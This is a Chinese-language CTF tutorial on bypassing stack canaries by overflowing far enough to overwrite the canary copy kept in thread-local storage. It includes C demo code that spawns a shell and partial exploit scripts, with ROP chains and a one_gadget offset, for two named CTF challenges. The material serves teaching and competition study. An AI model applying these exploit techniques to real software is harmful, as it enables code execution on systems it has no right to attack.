TLS_bypass_Canary
字数 1274 2025-08-23 18:31:08
TLS Canary Bypass 技术详解
前言
本文详细讲解通过劫持TLS(Thread Local Storage)来绕过Canary保护的技术原理和实际应用。这种技术在CTF比赛中较为常见,当程序存在大尺寸栈溢出时,可以同时覆盖栈上储存的Canary和TLS中储存的Canary实现保护绕过。
基础知识
TLS (Thread Local Storage)
线程局部存储(TLS)是一种机制,通过该机制分配变量,使每个线程都有一个变量实例。主要目的是避免多个线程同时访问同一全局变量或静态变量时导致的冲突。
在glibc实现中,TLS被指向一个段寄存器fs(x86-64架构),其结构tcbhead_t定义如下:
typedef struct {
void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; // Canary值存储在这里
uintptr_t pointer_guard;
...
} tcbhead_t;
Canary保护机制
当程序启用Canary编译后,函数序言部分会从fs寄存器0x28处取值,存放在栈中%ebp-0x8的位置:
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
函数返回前,会将该值取出并与fs:0x28的值比较:
mov rdx, QWORD PTR [rbp-0x8]
xor rdx, QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>
如果比较失败,程序会调用__stack_chk_fail终止执行。
TLS与Canary的关系
在Linux系统中,fs寄存器实际指向当前栈的TLS结构,fs:0x28指向的正是stack_guard成员。Canary值由security_init函数初始化:
static void security_init(void) {
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard(_dl_random);
THREAD_SET_STACK_GUARD(stack_chk_guard); // 设置到TLS中
_dl_random = NULL;
}
利用原理
glibc在实现TLS时存在以下特点:
- 线程通过
pthread_create创建时会初始化TLS - 在为栈分配内存后,glibc在内存的高地址初始化TLS
- 在x86-64架构上,栈向下增长,TLS被放在栈顶部
- 从TLS到
pthread_create函数参数传递栈帧的距离通常小于一页(4K)
利用这些特点,当存在大尺寸栈溢出时:
- 可以覆盖TLS中的
tcbhead_t.stack_guard值 - 函数返回时比较的栈上Canary和TLS中的Canary都被覆盖为相同值
- 从而绕过Canary检查
利用前提
- 溢出尺寸足够大(通常至少一个page/4K)
- 程序创建了线程(在线程内进行栈溢出)
示例代码
void pwn_payload() {
char *argv[2] = {"/bin/sh", 0};
execve(argv[0], argv, 0);
}
int fixup = 0;
void *first(void *x) {
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf("thread FS %p\n", addr);
printf("cookie thread: 0x%lx\n", addr[5]);
unsigned long *frame = __builtin_frame_address(0);
printf("stack_cookie addr %p\n", &frame[-1]);
printf("diff : %lx\n", (char *)addr - (char *)&frame[-1]);
unsigned long len = (unsigned long)((char *)addr - (char *)&frame[-1]) + fixup;
// 准备exploit
void *exploit = malloc(len);
memset(exploit, 0x41, len);
void *ptr = &pwn_payload;
memcpy((char *)exploit + 16, &ptr, 8);
// 栈溢出示例
memcpy(&frame[-1], exploit, len);
return 0;
}
int main(int argc, char **argv, char **envp) {
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if(argc > 1) fixup = 0x30;
printf("main FS %p\n", addr);
printf("cookie main: 0x%lx\n", addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one, &val);
return 0;
}
实际案例分析
案例1: gyctf_2020_bfnote
漏洞点:
- 存在大尺寸栈溢出
- 可以控制bss段内容
利用步骤:
- 通过栈迁移将栈迁移到bss段
- 向bss段写入修改atoi的got表的数据
- 劫持TLS修改canary
关键exp部分:
bss = 0x0804A060
payload = 'a' * 0x3A + p32(elf.bss() + 0x420 + 4)
sa('Give your description : ', payload)
# 构造伪造的符号表等结构
fake_sym_addr = base_stage + 24
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
# ... 其他ROP链构造
# 触发TLS覆盖
overflow_len = 0x216FC
sla('Give your title size : ', str(overflow_len))
案例2: starctf2018_babystack
漏洞点:
- 创建线程后存在可控大小的栈溢出
利用步骤:
- 栈溢出控制返回地址执行puts泄露libc地址
- 控制canary
- 向bss段写入onegadget地址
关键exp部分:
payload1 = b'\x00' * 0x30 + p64(bss - 0x8) + p64(rdi) + p64(puts_g)
payload1 += p64(puts_p) + p64(levae)
payload1 = payload1.ljust(0x950, b'\x00')
sl(payload1)
# 获取泄露地址后发送onegadget
p.sendline(b'\x00' * 0x30 + p64(1) + p64(leak + 0xe6c81))
防护措施
- 限制栈溢出尺寸
- 对TLS区域进行保护
- 使用更安全的Canary生成方式
- 检查TLS区域的完整性
总结
TLS Canary Bypass技术利用glibc实现中TLS与栈的布局特点,通过大尺寸溢出同时覆盖栈和TLS中的Canary值实现保护绕过。这种技术需要满足特定条件,但在符合条件的场景下非常有效。理解这一技术有助于更好地设计安全防护措施。